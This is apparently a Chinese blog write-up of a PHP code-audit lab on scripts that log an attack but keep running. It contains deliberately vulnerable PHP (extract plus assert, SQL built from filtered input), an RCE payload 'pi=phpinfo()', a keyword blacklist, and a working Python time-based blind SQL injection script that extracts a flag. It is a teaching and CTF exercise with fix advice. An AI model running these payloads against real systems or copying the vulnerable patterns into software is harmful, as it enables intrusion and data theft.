PHP-Audit-Labs-Day10-程序未恰当exit导致的问题

PHP-Audit-Labs

项目地址:https://www.ripstech.com/php-security-calendar-2017/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
extract($_POST);//重点

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

这道题目实际上讲的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在 第一行处 使用 extract 函数,将 POST 请求的数据全都注册成变量, extract 函数的定义如下:

extract :(PHP 4, PHP 5, PHP 7)

功能 :从数组中将变量导入到当前的符号表

定义int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

该函数实际上就是把数组中的键值对注册成变量

程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。

程序员这里是对非法的操作进行了一定的处理。但是关键在于,程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了 第12行assert 语句。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。

payload

1
2
3
http://127.0.0.1/demo.php
POST
pi=phpinfo()

修复建议

实际上,要修复这一类型的漏洞,我们只要在正确的地方退出程序即可。拿这次的例题举例,我们只需要在检查到非法操作的时候,直接添加退出函数,即可避免漏洞发生。例如使用 dieexit 等函数都是可以的。

CTF

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>

config.php

1
2
3
4
5
6
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day10";
?>

搭建CTF环境使用的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );

INSERT INTO students VALUES(1,'Lucia','Lucia@hongri.com',100);
INSERT INTO students VALUES(2,'Danny','Danny@hongri.com',59);
INSERT INTO students VALUES(3,'Alina','Alina@hongri.com',66);
INSERT INTO students VALUES(4,'Jameson','Jameson@hongri.com',13);
INSERT INTO students VALUES(5,'Allie','Allie@hongri.com',88);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');

本次题目源于某CMS 0day 漏洞改编。很明显可以看到在上图代码 第29行 处进行了 SQL 语句拼接,然后直接带入数据库查询。而在前一行,其实是有对 GET 方式传来的参数 id 进行过滤的,我们来详细看看过滤函数 stophack

我们可以清楚的看到 stophack 函数存在 过滤不严检测到非法字符未直接退出 两个问题。

程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi ,所以我们需要绕过这里的黑名单。纵观整个程序,当 SQL 语句执行出错时,并不会将错误信息显示出来,所以此处应为盲注。开发者估计也是考虑到这个问题,便将关键词 sleep 给过滤了,然而这并不能影响攻击者继续使用盲注来获取数据。关于禁用了 sleep 函数的盲注,大家可以直接参考这篇文章:mysql 延时注入新思路 。这里我直接利用 benchmark 函数来获取flag。python程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")
-------------本文结束感谢您的阅读-------------